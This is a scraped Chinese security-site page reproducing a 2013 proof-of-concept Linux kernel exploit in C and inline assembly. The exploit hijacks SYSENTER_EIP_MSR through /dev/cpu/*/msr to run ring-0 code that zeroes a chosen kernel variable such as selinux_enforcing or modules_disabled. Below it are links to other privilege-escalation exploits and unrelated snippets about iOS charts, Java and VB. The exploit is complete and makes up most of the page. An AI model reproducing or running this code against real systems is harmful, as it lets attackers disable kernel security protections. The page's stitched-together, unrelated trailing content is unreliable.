Linux Kernel 'MSR' Driver Local Privilege Escalation
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
- // PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host
- // can do whatever in the commented area, re-enable module support, etc
- // requires CONFIG_X86_MSR and just uid 0
- // a small race exists between the time when the MSR is written to the first
- // time and when we issue our sysenter
- // we additionally require CAP_SYS_NICE to make the race win nearly guaranteed
- // configured to take a hex arg of a dword pointer to set to 0
- // (modules_disabled, selinux_enforcing, take your pick)
- //
- // Hello to Red Hat, who has shown yet again to not care until a
- // public exploit is released. Not even a bugtraq entry existed in
- // their system until this was published -- and they have a paid team
- // of how many?
- // It's not as if I didn't mention the problem and existence of an easy
- // exploit multiple times prior:
- // https://twitter.com/grsecurity/status/298977370776432640
- // https://twitter.com/grsecurity/status/297365303095078912
- // https://twitter.com/grsecurity/status/297189488638181376
- // https://twitter.com/grsecurity/status/297030133628416000
- // https://twitter.com/grsecurity/status/297029470072745984
- // https://twitter.com/grsecurity/status/297028324134359041
- //
- // spender 2013
- #define _GNU_SOURCE
- #include<stdio.h>
- #include<sched.h>
- #include<unistd.h>
- #include<sys/types.h>
- #include<sys/stat.h>
- #include<fcntl.h>
- #include<stdlib.h>
- #include<sys/time.h>
- #include<sys/resource.h>
- #include<sys/mman.h>
- #define SYSENTER_EIP_MSR 0x176
- u_int64_t msr;
- unsignedlong ourstack[65536];
- u_int64_t payload_data[16];
- externvoid*_ring0;
- externvoid*_ring0_end;
- void ring0(void)
- {
- __asm volatile(".globl _ring0\n"
- "_ring0:\n"
- ".intel_syntax noprefix\n"
- ".code64\n"
- // set up stack pointer with 'ourstack'
- "mov esp, ecx\n"
- // save registers, contains the original MSR value
- "push rax\n"
- "push rbx\n"
- "push rcx\n"
- "push rdx\n"
- // play with the kernel here with interrupts disabled!
- "mov rcx, qword ptr [rbx+8]\n"
- "test rcx, rcx\n"
- "jz skip_write\n"
- "mov dword ptr [rcx], 0\n"
- "skip_write:\n"
- // restore MSR value before returning
- "mov ecx, 0x176\n"// SYSENTER_EIP_MSR
- "mov eax, dword ptr [rbx]\n"
- "mov edx, dword ptr [rbx+4]\n"
- "wrmsr\n"
- "pop rdx\n"
- "pop rcx\n"
- "pop rbx\n"
- "pop rax\n"
- "sti\n"
- "sysexit\n"
- ".code32\n"
- ".att_syntax prefix\n"
- ".global _ring0_end\n"
- "_ring0_end:\n"
- );
- }
- unsignedlong saved_stack;
- int main(int argc,char*argv[])
- {
- cpu_set_tset;
- int msr_fd;
- int ret;
- u_int64_t new_msr;
- struct sched_param sched;
- u_int64_t resolved_addr =0ULL;
- if(argc ==2)
- resolved_addr = strtoull(argv[1], NULL,16);
- /* can do this without privilege */
- mlock(_ring0,(unsignedlong)_ring0_end -(unsignedlong)_ring0);
- mlock(&payload_data,sizeof(payload_data));
- CPU_ZERO(&set);
- CPU_SET(0,&set);
- sched.sched_priority =99;
- ret = sched_setscheduler(0, SCHED_FIFO,&sched);
- if(ret){
- fprintf(stderr,"Unable to set priority.\n");
- exit(1);
- }
- ret = sched_setaffinity(0,sizeof(cpu_set_t),&set);
- if(ret){
- fprintf(stderr,"Unable to set affinity.\n");
- exit(1);
- }
- msr_fd = open("/dev/cpu/0/msr", O_RDWR);
- if(msr_fd <0){
- msr_fd = open("/dev/msr0", O_RDWR);
- if(msr_fd <0){
- fprintf(stderr,"Unable to open /dev/cpu/0/msr\n");
- exit(1);
- }
- }
- lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
- ret = read(msr_fd,&msr,sizeof(msr));
- if(ret !=sizeof(msr)){
- fprintf(stderr,"Unable to read /dev/cpu/0/msr\n");
- exit(1);
- }
- // stuff some addresses in a buffer whose address we
- // pass to the "kernel" via register
- payload_data[0]= msr;
- payload_data[1]= resolved_addr;
- printf("Old SYSENTER_EIP_MSR = %016llx\n", msr);
- fflush(stdout);
- lseek(msr_fd, SYSENTER_EIP_MSR, SEEK_SET);
- new_msr =(u_int64_t)(unsignedlong)&_ring0;
- printf("New SYSENTER_EIP_MSR = %016llx\n", new_msr);
- fflush(stdout);
- ret = write(msr_fd,&new_msr,sizeof(new_msr));
- if(ret !=sizeof(new_msr)){
- fprintf(stderr,"Unable to modify /dev/cpu/0/msr\n");
- exit(1);
- }
- __asm volatile(
- ".intel_syntax noprefix\n"
- ".code32\n"
- "mov saved_stack, esp\n"
- "lea ecx, ourstack\n"
- "lea edx, label2\n"
- "lea ebx, payload_data\n"
- "sysenter\n"
- "label2:\n"
- "mov esp, saved_stack\n"
- ".att_syntax prefix\n"
- );
- printf("Success.\n");
- return0;
- }
Linux Kernel 'MSR' Driver Local Privilege Escalation的更多相关文章
- karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850
catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...
- CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/** * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC * * Vitaly Nikolenko * http://ha ...
- Linux kernel AACRAID Driver Compat IOCTL 本地安全绕过漏洞
漏洞名称: Linux kernel AACRAID Driver Compat IOCTL 本地安全绕过漏洞 CNNVD编号: CNNVD-201311-390 发布时间: 2013-11-29 更 ...
- [转]Mac OS X local privilege escalation (IOBluetoothFamily)
Source: http://joystick.artificialstudios.org/2014/10/mac-os-x-local-privilege-escalation.html Nowad ...
- Linux Kernel ---- PCI Driver 分析
自己笔记使用. Kernel 版本 4.15.0 (ubuntu 18.04,intel skylake) 最近想学习VGA驱动去了解 DDCCP / EDID 等协议,然后顺便了解下驱动是如何工作的 ...
- [EXP]Microsoft Windows 10 (Build 17134) - Local Privilege Escalation (UAC Bypass)
#include "stdafx.h" #include <Windows.h> #include "resource.h" void DropRe ...
- OSCP Learning Notes - Privilege Escalation
Privilege Escalation Download the Basic-pentesting vitualmation from the following website: https:// ...
- ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728)
ANALYSIS AND EXPLOITATION OF A LINUX KERNEL VULNERABILITY (CVE-2016-0728) By Perception Point Resear ...
- Linux Kernel - Debug Guide (Linux内核调试指南 )
http://blog.csdn.net/blizmax6/article/details/6747601 linux内核调试指南 一些前言 作者前言 知识从哪里来 为什么撰写本文档 为什么需要汇编级 ...
随机推荐
- iOS 使用Charts框架 折线,柱状,K线,饼状,雷达全攻略
我是前言: 大约几个月前我在某平台写了一篇文章, 文中简单地介绍了Charts两种图表的样式的使用, 不过有种意犹未尽的感觉, 利用周末的空闲时间再次看了看, 有了新的收获, 今天发出来,分享给大家, ...
- java格式处理工具类
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOExceptio ...
- VB中右键换行
/r/n 能在邮件中进行换行, 在VB中使用 ASCII码的 chr(10).chr(13) 就能使VB发送邮件实现换行
- android如何获取手机型号和版本号
public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView ...
- mysql -数据库(备份与恢复)
1,备份某个数据库(以db_abc为例) 1)通过 cmd 切换到mysql 安装目录下的'bin'目录,然后执行'mysqldump -uroot -p db_abc > db_abc_bak ...
- java数据类型学习
java数据类型基本分为两类: 一类为基本数据类型: 数值类型: 整数类型:byte.short.int.long 浮点类型:float.double 字符类型:char 布尔类型:boolean 一 ...
- 为什么我们不喜欢用富UI控件
我们对于理解一般意义的抽象关系并没有问题,但如第一部分使用Entity Framework 时说明的,事实恰好相反.我们还喜欢在交付应用程序时利用抽象关系,比如使用Azure等云服务.在这两种情况下, ...
- Mysql group_concat函数被截断的问题
mysql group_concat函数被截断的问题 MySQL的 group_concat 函数默认返回1024个字节长度,超过长度的会被截断.最近程序中就遇到这个问题了. 通过如下命令可以查看 ...
- Android Toast和Notification
1. Toast用法 Toast 可以设置:时间,位置,自定义View 1.1 最普通的Toast Toast.makeText(ToastActivity.this, "CarloZ Sh ...
- BAE Flask UEditor 使用七牛云
1. 配置BAE支持七牛云的SDK BAE的python requirements当然不支持竞争对手了. 解决方法: 把qiniu这个文件包直接放置在你项目的目录中(与其他app同级) 运行会发现缺少 ...